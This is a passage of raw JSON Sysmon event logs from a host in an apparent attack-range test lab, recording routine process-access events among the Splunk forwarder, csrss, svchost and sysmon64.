Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-0010828F1100}\r\nTargetProcessId: 3944\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-0010828F1100}","TargetProcessId":"3944","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-0010828F1100}\r\nTargetProcessId: 3944\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-0010828F1100}","TargetProcessId":"3944","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 